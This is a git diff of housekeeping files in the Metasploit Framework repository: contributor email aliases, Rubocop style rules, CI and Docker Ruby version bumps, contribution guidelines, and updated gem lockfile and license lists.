ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
egypt <egypt@github> <egypt@metasploit.com> # aka egypt
egypt <egypt@github> <james_lee@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
jhart-r7 <jhart-r7@github> <jon_hart@rapid7.com>
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
jinq102030 <jinq102030@github> <jqian@rapid7.com>
jmartin-r7 <jmartin-r7@github> <Jeffrey_Martin@rapid7.com>
kgray-r7 <kgray-r7@github> <kyle_gray@rapid7.com>
khayes-r7 <khayes-r7@github> <Kirk_Hayes@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> <lance@aus-mac-1041.aus.rapid7.com>
lsanchez-r7 <lsanchez-r7@github> <lance@AUS-MAC-1041.local>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez+github@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com”>
mkienow-r7 <mkienow-r7@github> <matthew_kienow@rapid7.com>
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
sdavis-r7 <sdavis-r7@github> <scott_davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <Scott_Davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
tatanus <tatanus@github> <adam_compton@rapid7.com>
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> <todb@metasploit.com>
@@ -53,7 +34,6 @@ wvu-r7 <wvu-r7@github> <William_Vu@rapid7.com>
wvu-r7 <wvu-r7@github> <wvu@cs.nmt.edu>
wvu-r7 <wvu-r7@github> <wvu@metasploit.com>
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
# Above this line are current Rapid7 employees. Below this paragraph are
# volunteers, former employees, and potential Rapid7 employees who, at
@@ -62,9 +42,12 @@ wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
# periodically. If you're on this list and would like to not be, just
# let todb@metasploit.com know.
asoto-r7 <asoto-r7@github> <aaron_soto@rapid7.com>
bannedit <bannedit@github> David Rude <bannedit0@gmail.com>
bcoles <bcoles@github> bcoles <bcoles@gmail.com>
bokojan <bokojan@github> parzamendi-r7 <peter_arzamendi@rapid7.com>
bpatterson-r7 <bpatterson-r7@github> <bpatterson@rapid7.com>
bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
brandonprry <brandonprry@github> <bperry@brandons-mbp.attlocal.net>
brandonprry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
brandonprry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
@@ -83,8 +66,13 @@ corelanc0d3r <corelanc0d3r@github> Peter Van Eeckhoutte (corelanc0d3r) <pete
crcatala <crcatala@github> Christian Catalan <ccatalan@rapid7.com>
darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com>
DanielRTeixeira <DanielRTeixeira@github> Daniel Teixeira <danieljcrteixeira@gmail.com>
dmaloney-r7 <dmaloney-r7@github> <David_Maloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> <DMaloney@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> <Dev_Mohanty@rapid7.com>
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
efraintorres <efraintorres@github> et <>
egypt <egypt@github> <egypt@metasploit.com> # aka egypt
egypt <egypt@github> <james_lee@rapid7.com>
espreto <espreto@github> <robertoespreto@gmail.com>
fab <fab@???> fab <> # fab at revhosts.net (Fabrice MOURRON)
farias-r7 <farias-r7@github> <fernando_arias@rapid7.com>
@@ -110,6 +98,7 @@ jcran <jcran@github> <jcran@rapid7.com>
jduck <jduck@github> <github.jdrake@qoop.org>
jduck <jduck@github> <jdrake@qoop.org>
jgor <jgor@github> jgor <jgor@indiecom.org>
jhart-r7 <jhart-r7@github> <jon_hart@rapid7.com>
joevennix <joevennix@github> Joe Vennix <joevennix@gmail.com>
joevennix <joevennix@github> <Joe_Vennix@rapid7.com>
joevennix <joevennix@github> <joev@metasploit.com>
@@ -119,9 +108,15 @@ juanvazquez <juanvazquez@github> jvazquez-r7 <juan_vazquez@rapid7.com>
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
kgray-r7 <kgray-r7@github> <kyle_gray@rapid7.com>
kost <kost@github> Vlatko Kosturjak <kost@linux.hr>
kris <kris@???> kris <>
KronicDeth <KronicDeth@github> Luke Imhoff <luke_imhoff@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> <lance@aus-mac-1041.aus.rapid7.com>
lsanchez-r7 <lsanchez-r7@github> <lance@AUS-MAC-1041.local>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez+github@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <m1k3@s3cur1ty.de>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <michael.messner@integralis.com>
@@ -151,12 +146,16 @@ rwhitcroft <rwhitcroft@github> <rwhitcroft@users.noreply.github.com>
schierlm <schierlm@github> Michael Schierl <schierlm@gmx.de> # Aka mihi
scriptjunkie <scriptjunkie@github> Matt Weeks <scriptjunkie@scriptjunkie.us>
scriptjunkie <scriptjunkie@github> scriptjunkie <scriptjunkie@scriptjunkie.us>
sdavis-r7 <sdavis-r7@github> <scott_davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <Scott_Davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
skape <skape@???> Matt Miller <mmiller@hick.org>
spoonm <spoonm@github> Spoon M <spoonm@gmail.com>
stufus <stufus@github> Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
stufus <stufus@github> Stuart <stufus@users.noreply.github.com>
swtornio <swtornio@github> Steve Tornio <swtornio@gmail.com>
Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
tatanus <tatanus@github> <adam_compton@rapid7.com>
techpeace <techpeace@github> Matt Buck <Matthew_Buck@rapid7.com>
techpeace <techpeace@github> Matt Buck <techpeace@gmail.com>
timwr <timwr@github> <timrlw@gmail.com>
@@ -164,6 +163,7 @@ TomSellers <TomSellers@github> Tom Sellers <tom@fadedcode.net>
trevrosen <trevrosen@github> Trevor Rosen <trevor@catapult-creative.com>
trevrosen <trevrosen@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
TrustedSec <davek@trustedsec.com> trustedsec <davek@trustedsec.com>
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
void-in <void-in@github> void_in <root@localhost.localdomain>
void-in <void-in@github> void-in <root@localhost.localdomain>
void-in <void-in@github> <void-in@users.noreply.github.com>
+51 -9
View File
@@ -9,7 +9,7 @@
# inherit_from: .rubocop_todo.yml
AllCops:
TargetRubyVersion: 2.2
TargetRubyVersion: 2.4
Metrics/ClassLength:
Description: 'Most Metasploit modules are quite large. This is ok.'
@@ -45,6 +45,10 @@ Style/RedundantReturn:
Description: 'This often looks weird when mixed with actual returns, and hurts nothing'
Enabled: false
Naming/VariableNumber:
Description: 'To make it easier to use reference code, disable this cop'
Enabled: false
Style/NumericPredicate:
Description: 'This adds no efficiency nor space saving'
Enabled: false
@@ -55,14 +59,18 @@ Style/Documentation:
Exclude:
- 'modules/**/*'
Layout/IndentHeredoc:
Layout/SpaceInsideArrayLiteralBrackets:
Enabled: false
Description: 'We need to leave this disabled for Ruby 2.2 compat, remove in 2018'
Description: 'Almost all module metadata have space in brackets'
Style/GuardClause:
Enabled: false
Description: 'This often introduces bugs in tested code'
Style/EmptyLiteral:
Enabled: false
Description: 'This looks awkward when you mix empty and non-empty literals'
Style/NegatedIf:
Enabled: false
Description: 'This often introduces bugs in tested code'
@@ -72,9 +80,16 @@ Style/ConditionalAssignment:
Description: 'This is confusing for folks coming from other languages'
Style/Encoding:
Enabled: true
Description: 'We prefer binary to UTF-8.'
EnforcedStyle: 'when_needed'
Enabled: false
Style/ParenthesesAroundCondition:
Enabled: false
Description: 'This is used in too many places to discount, especially in ported code. Has little effect'
Style/TrailingCommaInArrayLiteral:
Enabled: false
Description: 'This is often a useful pattern, and is actually required by other languages. It does not hurt.'
Metrics/LineLength:
Description: >-
@@ -83,6 +98,13 @@ Metrics/LineLength:
Enabled: true
Max: 180
Metrics/BlockLength:
Enabled: true
Description: >-
While the style guide suggests 10 lines, exploit definitions
often exceed 200 lines.
Max: 300
Metrics/MethodLength:
Enabled: true
Description: >-
@@ -90,10 +112,10 @@ Metrics/MethodLength:
often exceed 200 lines.
Max: 300
# Basically everything in metasploit needs binary encoding, not UTF-8.
# Disable this here and enforce it through msftidy
Style/Encoding:
Enabled: false
Naming/UncommunicativeMethodParamName:
Enabled: true
Description: 'Whoever made this requirement never looked at crypto methods, IV'
MinNameLength: 2
# %q() is super useful for long strings split over multiple lines and
# is very common in module constructors for things like descriptions
@@ -104,11 +126,31 @@ Style/NumericLiterals:
Enabled: false
Description: 'This often hurts readability for exploit-ish code.'
Layout/AlignHash:
Enabled: false
Description: 'aligning info hashes to match these rules is almost impossible to get right'
Layout/EmptyLines:
Enabled: false
Description: 'these are used to increase readability'
Layout/EmptyLinesAroundClassBody:
Enabled: false
Description: 'these are used to increase readability'
Layout/EmptyLinesAroundMethodBody:
Enabled: false
Description: 'these are used to increase readability'
Layout/AlignParameters:
Enabled: true
EnforcedStyle: 'with_fixed_indentation'
Description: 'initialize method of every module has fixed indentation for Name, Description, etc'
Style/For:
Enabled: false
Description: 'if a module is written with a for loop, it cannot always be logically replaced with each'
Style/StringLiterals:
Enabled: false
Description: 'Single vs double quote fights are largely unproductive.'
+1 -1
View File
@@ -1 +1 @@
2.6.1
2.6.2
+2 -9
View File
@@ -11,10 +11,8 @@ addons:
- graphviz
language: ruby
rvm:
- '2.3.8'
- '2.4.5'
- '2.5.3'
- '2.6.1'
- '2.5.5'
- '2.6.2'
env:
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
@@ -25,11 +23,6 @@ env:
matrix:
fast_finish: true
exclude:
- rvm: '2.3.8'
env: CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1'
- rvm: '2.4.5'
env: CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1'
jobs:
# build docker image
+7 -4
View File
@@ -20,12 +20,15 @@ it into Metasploit's master branch. If you do not care to follow these rules, y
* **Do** stick to the [Ruby style guide] and use [Rubocop] to find common style issues.
* **Do** follow the [50/72 rule] for Git commit messages.
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
* **Do** create a [topic branch] to work on instead of working directly on `master` to preserve the
history of your pull request. See [PR#8000] for an example of losing commit history as soon as
you update your own master branch.
* **Do** create a [topic branch] to work on instead of working directly on `master`.
This helps protect the process, ensures users are aware of commits on the branch being considered for merge,
allows for a location for more commits to be offered without mingling with other contributor changes,
and allows contributors to make progress while a PR is still being reviewed.
### Pull Requests
* **Do** write "WIP" on your PR and/or open a [draft PR] if submitting **working** yet unfinished code.
* **Do** target your pull request to the **master branch**.
* **Do** specify a descriptive title to make searching for your pull request easier.
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
@@ -84,7 +87,7 @@ curve, so keep it up!
[Rubocop]:https://rubygems.org/search?query=rubocop
[50/72 rule]:http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html
[topic branch]:http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches
[PR#8000]:https://github.com/rapid7/metasploit-framework/pull/8000
[draft PR]:https://help.github.com/en/articles/about-pull-requests#draft-pull-requests
[console output]:https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks
[verification steps]:https://help.github.com/articles/writing-on-github#task-lists
[reference associated issues]:https://github.com/blog/1506-closing-issues-via-pull-requests
+2 -3
View File
@@ -1,4 +1,4 @@
FROM ruby:2.6.1-alpine3.9 AS builder
FROM ruby:2.6.2-alpine3.9 AS builder
LABEL maintainer="Rapid7"
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
@@ -29,7 +29,6 @@ RUN apk add --no-cache \
git \
&& echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
&& gem update --system \
&& gem install bundler \
&& bundle install --clean --no-cache --system $BUNDLER_ARGS \
# temp fix for https://github.com/bundler/bundler/issues/6680
&& rm -rf /usr/local/bundle/cache \
@@ -37,7 +36,7 @@ RUN apk add --no-cache \
&& chmod -R a+r /usr/local/bundle
FROM ruby:2.6.1-alpine3.9
FROM ruby:2.6.2-alpine3.9
LABEL maintainer="Rapid7"
ENV APP_HOME=/usr/src/metasploit-framework
+89 -63
View File
@@ -1,12 +1,15 @@
PATH
remote: .
specs:
metasploit-framework (5.0.9)
metasploit-framework (5.0.44)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
aws-sdk-ec2
aws-sdk-iam
aws-sdk-s3
backports
bcrypt
bcrypt (= 3.1.12)
bcrypt_pbkdf
bit-struct
concurrent-ruby (= 1.0.5)
@@ -21,9 +24,9 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.3.62)
metasploit_data_models
metasploit_payloads-mettle (= 0.5.7)
metasploit-payloads (= 1.3.70)
metasploit_data_models (= 3.0.10)
metasploit_payloads-mettle (= 0.5.16)
mqtt
msgpack
nessus_rest
@@ -56,7 +59,7 @@ PATH
rex-random_identifier
rex-registry
rex-rop_builder
rex-socket
rex-socket (= 0.1.17)
rex-sslscan
rex-struct2
rex-text
@@ -80,40 +83,62 @@ GEM
remote: https://rubygems.org/
specs:
Ascii85 (1.0.3)
actionpack (4.2.11)
actionview (= 4.2.11)
activesupport (= 4.2.11)
actionpack (4.2.11.1)
actionview (= 4.2.11.1)
activesupport (= 4.2.11.1)
rack (~> 1.6)
rack-test (~> 0.6.2)
rails-dom-testing (~> 1.0, >= 1.0.5)
rails-html-sanitizer (~> 1.0, >= 1.0.2)
actionview (4.2.11)
activesupport (= 4.2.11)
actionview (4.2.11.1)
activesupport (= 4.2.11.1)
builder (~> 3.1)
erubis (~> 2.7.0)
rails-dom-testing (~> 1.0, >= 1.0.5)
rails-html-sanitizer (~> 1.0, >= 1.0.3)
activemodel (4.2.11)
activesupport (= 4.2.11)
activemodel (4.2.11.1)
activesupport (= 4.2.11.1)
builder (~> 3.1)
activerecord (4.2.11)
activemodel (= 4.2.11)
activesupport (= 4.2.11)
activerecord (4.2.11.1)
activemodel (= 4.2.11.1)
activesupport (= 4.2.11.1)
arel (~> 6.0)
activesupport (4.2.11)
activesupport (4.2.11.1)
i18n (~> 0.7)
minitest (~> 5.1)
thread_safe (~> 0.3, >= 0.3.4)
tzinfo (~> 1.1)
addressable (2.5.2)
addressable (2.6.0)
public_suffix (>= 2.0.2, < 4.0)
afm (0.2.2)
arel (6.0.4)
arel-helpers (2.8.0)
activerecord (>= 3.1.0, < 6)
backports (3.12.0)
arel-helpers (2.10.0)
activerecord (>= 3.1.0, < 7)
aws-eventstream (1.0.3)
aws-partitions (1.207.0)
aws-sdk-core (3.65.1)
aws-eventstream (~> 1.0, >= 1.0.2)
aws-partitions (~> 1.0)
aws-sigv4 (~> 1.1)
jmespath (~> 1.0)
aws-sdk-ec2 (1.106.0)
aws-sdk-core (~> 3, >= 3.61.1)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.29.0)
aws-sdk-core (~> 3, >= 3.61.1)
aws-sigv4 (~> 1.1)
aws-sdk-kms (1.24.0)
aws-sdk-core (~> 3, >= 3.61.1)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.47.0)
aws-sdk-core (~> 3, >= 3.61.1)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.1)
aws-sigv4 (1.1.0)
aws-eventstream (~> 1.0, >= 1.0.2)
backports (3.15.0)
bcrypt (3.1.12)
bcrypt_pbkdf (1.0.0)
bcrypt_pbkdf (1.0.1)
bindata (2.4.4)
bit-struct (0.16)
builder (3.2.3)
@@ -123,9 +148,9 @@ GEM
crass (1.0.4)
daemons (1.3.1)
diff-lcs (1.3)
dnsruby (1.61.2)
dnsruby (1.61.3)
addressable (~> 2.5)
docile (1.3.1)
docile (1.3.2)
ed25519 (1.2.4)
em-http-request (1.1.5)
addressable (>= 2.3.4)
@@ -137,13 +162,13 @@ GEM
eventmachine (>= 1.0.0.beta.4)
erubis (2.7.0)
eventmachine (1.2.7)
factory_bot (5.0.1)
factory_bot (5.0.2)
activesupport (>= 4.2.0)
factory_bot_rails (5.0.1)
factory_bot (~> 5.0.0)
factory_bot_rails (5.0.2)
factory_bot (~> 5.0.2)
railties (>= 4.2.0)
faker (1.9.3)
i18n (>= 0.7)
faker (2.2.0)
i18n (>= 0.8)
faraday (0.15.4)
multipart-post (>= 1.2, < 3)
filesize (0.2.0)
@@ -152,13 +177,14 @@ GEM
http_parser.rb (0.6.0)
i18n (0.9.5)
concurrent-ruby (~> 1.0)
jmespath (1.4.0)
jsobfu (0.4.2)
rkelly-remix
json (2.2.0)
loofah (2.2.3)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
metasm (1.0.3)
metasm (1.0.4)
metasploit-concern (2.0.5)
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
@@ -177,8 +203,8 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.3.62)
metasploit_data_models (3.0.5)
metasploit-payloads (1.3.70)
metasploit_data_models (3.0.10)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
arel-helpers
@@ -188,20 +214,20 @@ GEM
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.5.7)
metasploit_payloads-mettle (0.5.16)
method_source (0.9.2)
mini_portile2 (2.4.0)
minitest (5.11.3)
mqtt (0.5.0)
msgpack (1.2.6)
multipart-post (2.0.0)
msgpack (1.3.1)
multipart-post (2.1.1)
nessus_rest (0.1.6)
net-ssh (5.1.0)
net-ssh (5.2.0)
network_interface (0.0.2)
nexpose (7.2.1)
nokogiri (1.10.1)
nokogiri (1.10.4)
mini_portile2 (~> 2.4.0)
octokit (4.13.0)
octokit (4.14.0)
sawyer (~> 0.8.0, >= 0.5.3)
openssl-ccm (1.2.2)
openvas-omp (0.0.4)
@@ -209,7 +235,7 @@ GEM
pcaprub
patch_finder (1.0.2)
pcaprub (0.13.0)
pdf-reader (2.2.0)
pdf-reader (2.2.1)
Ascii85 (~> 1.0.0)
afm (~> 0.2.1)
hashery (~> 2.0)
@@ -224,7 +250,7 @@ GEM
pry (0.12.2)
coderay (~> 1.1.0)
method_source (~> 0.9.0)
public_suffix (3.0.3)
public_suffix (3.1.1)
rack (1.6.11)
rack-protection (1.5.5)
rack
@@ -236,18 +262,18 @@ GEM
activesupport (>= 4.2.0, < 5.0)
nokogiri (~> 1.6)
rails-deprecated_sanitizer (>= 1.0.1)
rails-html-sanitizer (1.0.4)
rails-html-sanitizer (1.2.0)
loofah (~> 2.2, >= 2.2.2)
railties (4.2.11)
actionpack (= 4.2.11)
activesupport (= 4.2.11)
railties (4.2.11.1)
actionpack (= 4.2.11.1)
activesupport (= 4.2.11.1)
rake (>= 0.8.7)
thor (>= 0.18.1, < 2.0)
rake (12.3.2)
rake (12.3.3)
rb-readline (0.5.5)
recog (2.1.46)
recog (2.3.2)
nokogiri
redcarpet (3.4.0)
redcarpet (3.5.0)
rex-arch (0.1.13)
rex-text
rex-bin_tools (0.1.6)
@@ -261,7 +287,7 @@ GEM
metasm
rex-arch
rex-text
rex-exploitation (0.1.20)
rex-exploitation (0.1.21)
jsobfu
metasm
rex-arch
@@ -274,7 +300,7 @@ GEM
rex-arch
rex-ole (0.1.6)
rex-text
rex-powershell (0.1.79)
rex-powershell (0.1.82)
rex-random_identifier
rex-text
rex-random_identifier (0.1.4)
@@ -284,14 +310,14 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.16)
rex-socket (0.1.17)
rex-core
rex-sslscan (0.1.5)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.2)
rex-text (0.2.21)
rex-text (0.2.23)
rex-zip (0.1.3)
rex-text
rkelly-remix (0.0.7)
@@ -299,12 +325,12 @@ GEM
rspec-core (~> 3.8.0)
rspec-expectations (~> 3.8.0)
rspec-mocks (~> 3.8.0)
rspec-core (3.8.0)
rspec-core (3.8.2)
rspec-support (~> 3.8.0)
rspec-expectations (3.8.2)
rspec-expectations (3.8.4)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.8.0)
rspec-mocks (3.8.0)
rspec-mocks (3.8.1)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.8.0)
rspec-rails (3.8.2)
@@ -317,19 +343,19 @@ GEM
rspec-support (~> 3.8.0)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.8.0)
rspec-support (3.8.2)
ruby-macho (2.2.0)
ruby-rc4 (0.1.5)
ruby_smb (1.0.5)
ruby_smb (1.1.0)
bindata
rubyntlm
windows_error
rubyntlm (0.6.2)
rubyzip (1.2.2)
sawyer (0.8.1)
addressable (>= 2.3.5, < 2.6)
faraday (~> 0.8, < 1.0)
simplecov (0.16.1)
rubyzip (1.2.3)
sawyer (0.8.2)
addressable (>= 2.3.5)
faraday (> 0.8, < 2.0)
simplecov (0.17.0)
docile (~> 1.1)
json (>= 1.8, < 3)
simplecov-html (~> 0.10.0)
@@ -352,7 +378,7 @@ GEM
ttfunk (1.5.1)
tzinfo (1.2.5)
thread_safe (~> 0.1)
tzinfo-data (1.2018.9)
tzinfo-data (1.2019.2)
tzinfo (>= 1.0.0)
warden (1.2.7)
rack (>= 1.0)
@@ -361,7 +387,7 @@ GEM
activemodel (>= 4.2.7)
activesupport (>= 4.2.7)
xmlrpc (0.3.0)
yard (0.9.18)
yard (0.9.20)
PLATFORMS
ruby
+54 -45
View File
@@ -1,17 +1,25 @@
This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 1.0.3, MIT
actionpack, 4.2.11, MIT
actionview, 4.2.11, MIT
activemodel, 4.2.11, MIT
activerecord, 4.2.11, MIT
activesupport, 4.2.11, MIT
addressable, 2.5.2, "Apache 2.0"
actionpack, 4.2.11.1, MIT
actionview, 4.2.11.1, MIT
activemodel, 4.2.11.1, MIT
activerecord, 4.2.11.1, MIT
activesupport, 4.2.11.1, MIT
addressable, 2.6.0, "Apache 2.0"
afm, 0.2.2, MIT
arel, 6.0.4, MIT
arel-helpers, 2.8.0, MIT
backports, 3.12.0, MIT
arel-helpers, 2.10.0, MIT
aws-eventstream, 1.0.3, "Apache 2.0"
aws-partitions, 1.207.0, "Apache 2.0"
aws-sdk-core, 3.65.1, "Apache 2.0"
aws-sdk-ec2, 1.106.0, "Apache 2.0"
aws-sdk-iam, 1.29.0, "Apache 2.0"
aws-sdk-kms, 1.24.0, "Apache 2.0"
aws-sdk-s3, 1.47.0, "Apache 2.0"
aws-sigv4, 1.1.0, "Apache 2.0"
backports, 3.15.0, MIT
bcrypt, 3.1.12, MIT
bcrypt_pbkdf, 1.0.0, MIT
bcrypt_pbkdf, 1.0.1, MIT
bindata, 2.4.4, ruby
bit-struct, 0.16, ruby
builder, 3.2.3, MIT
@@ -22,100 +30,101 @@ cookiejar, 0.3.3, unknown
crass, 1.0.4, MIT
daemons, 1.3.1, MIT
diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
dnsruby, 1.61.2, "Apache 2.0"
docile, 1.3.1, MIT
dnsruby, 1.61.3, "Apache 2.0"
docile, 1.3.2, MIT
ed25519, 1.2.4, MIT
em-http-request, 1.1.5, MIT
em-socksify, 0.3.2, MIT
erubis, 2.7.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 5.0.1, MIT
factory_bot_rails, 5.0.1, MIT
faker, 1.9.3, MIT
factory_bot, 5.0.2, MIT
factory_bot_rails, 5.0.2, MIT
faker, 2.2.0, MIT
faraday, 0.15.4, MIT
filesize, 0.2.0, MIT
fivemat, 1.3.7, MIT
hashery, 2.1.2, "Simplified BSD"
http_parser.rb, 0.6.0, MIT
i18n, 0.9.5, MIT
jmespath, 1.4.0, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.2.0, ruby
loofah, 2.2.3, MIT
metasm, 1.0.3, LGPL
metasm, 1.0.4, LGPL-2.1
metasploit-concern, 2.0.5, "New BSD"
metasploit-credential, 3.0.3, "New BSD"
metasploit-framework, 5.0.9, "New BSD"
metasploit-framework, 5.0.44, "New BSD"
metasploit-model, 2.0.4, "New BSD"
metasploit-payloads, 1.3.62, "3-clause (or ""modified"") BSD"
metasploit_data_models, 3.0.5, "New BSD"
metasploit_payloads-mettle, 0.5.7, "3-clause (or ""modified"") BSD"
metasploit-payloads, 1.3.70, "3-clause (or ""modified"") BSD"
metasploit_data_models, 3.0.10, "New BSD"
metasploit_payloads-mettle, 0.5.16, "3-clause (or ""modified"") BSD"
method_source, 0.9.2, MIT
mini_portile2, 2.4.0, MIT
minitest, 5.11.3, MIT
mqtt, 0.5.0, MIT
msgpack, 1.2.6, "Apache 2.0"
multipart-post, 2.0.0, MIT
msgpack, 1.3.1, "Apache 2.0"
multipart-post, 2.1.1, MIT
nessus_rest, 0.1.6, MIT
net-ssh, 5.1.0, MIT
net-ssh, 5.2.0, MIT
network_interface, 0.0.2, MIT
nexpose, 7.2.1, "New BSD"
nokogiri, 1.10.1, MIT
octokit, 4.13.0, MIT
nokogiri, 1.10.4, MIT
octokit, 4.14.0, MIT
openssl-ccm, 1.2.2, MIT
openvas-omp, 0.0.4, MIT
packetfu, 1.1.13, BSD
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.0, LGPL-2.1
pdf-reader, 2.2.0, MIT
pdf-reader, 2.2.1, MIT
pg, 0.21.0, "New BSD"
pg_array_parser, 0.0.9, unknown
postgres_ext, 3.0.1, MIT
pry, 0.12.2, MIT
public_suffix, 3.0.3, MIT
public_suffix, 3.1.1, MIT
rack, 1.6.11, MIT
rack-protection, 1.5.5, MIT
rack-test, 0.6.3, MIT
rails-deprecated_sanitizer, 1.0.3, MIT
rails-dom-testing, 1.0.9, MIT
rails-html-sanitizer, 1.0.4, MIT
railties, 4.2.11, MIT
rake, 12.3.2, MIT
rails-html-sanitizer, 1.2.0, MIT
railties, 4.2.11.1, MIT
rake, 12.3.3, MIT
rb-readline, 0.5.5, BSD
recog, 2.1.46, unknown
redcarpet, 3.4.0, MIT
recog, 2.3.2, unknown
redcarpet, 3.5.0, MIT
rex-arch, 0.1.13, "New BSD"
rex-bin_tools, 0.1.6, "New BSD"
rex-core, 0.1.13, "New BSD"
rex-encoder, 0.1.4, "New BSD"
rex-exploitation, 0.1.20, "New BSD"
rex-exploitation, 0.1.21, "New BSD"
rex-java, 0.1.5, "New BSD"
rex-mime, 0.1.5, "New BSD"
rex-nop, 0.1.1, "New BSD"
rex-ole, 0.1.6, "New BSD"
rex-powershell, 0.1.79, "New BSD"
rex-powershell, 0.1.82, "New BSD"
rex-random_identifier, 0.1.4, "New BSD"
rex-registry, 0.1.3, "New BSD"
rex-rop_builder, 0.1.3, "New BSD"
rex-socket, 0.1.16, "New BSD"
rex-socket, 0.1.17, "New BSD"
rex-sslscan, 0.1.5, "New BSD"
rex-struct2, 0.1.2, "New BSD"
rex-text, 0.2.21, "New BSD"
rex-text, 0.2.23, "New BSD"
rex-zip, 0.1.3, "New BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.8.0, MIT
rspec-core, 3.8.0, MIT
rspec-expectations, 3.8.2, MIT
rspec-mocks, 3.8.0, MIT
rspec-core, 3.8.2, MIT
rspec-expectations, 3.8.4, MIT
rspec-mocks, 3.8.1, MIT
rspec-rails, 3.8.2, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.8.0, MIT
rspec-support, 3.8.2, MIT
ruby-macho, 2.2.0, MIT
ruby-rc4, 0.1.5, MIT
ruby_smb, 1.0.5, "New BSD"
ruby_smb, 1.1.0, "New BSD"
rubyntlm, 0.6.2, MIT
rubyzip, 1.2.2, "Simplified BSD"
sawyer, 0.8.1, MIT
simplecov, 0.16.1, MIT
rubyzip, 1.2.3, "Simplified BSD"
sawyer, 0.8.2, MIT
simplecov, 0.17.0, MIT
simplecov-html, 0.10.2, MIT
sinatra, 1.4.8, MIT
sqlite3, 1.3.13, "New BSD"
@@ -128,9 +137,9 @@ tilt, 2.0.9, MIT
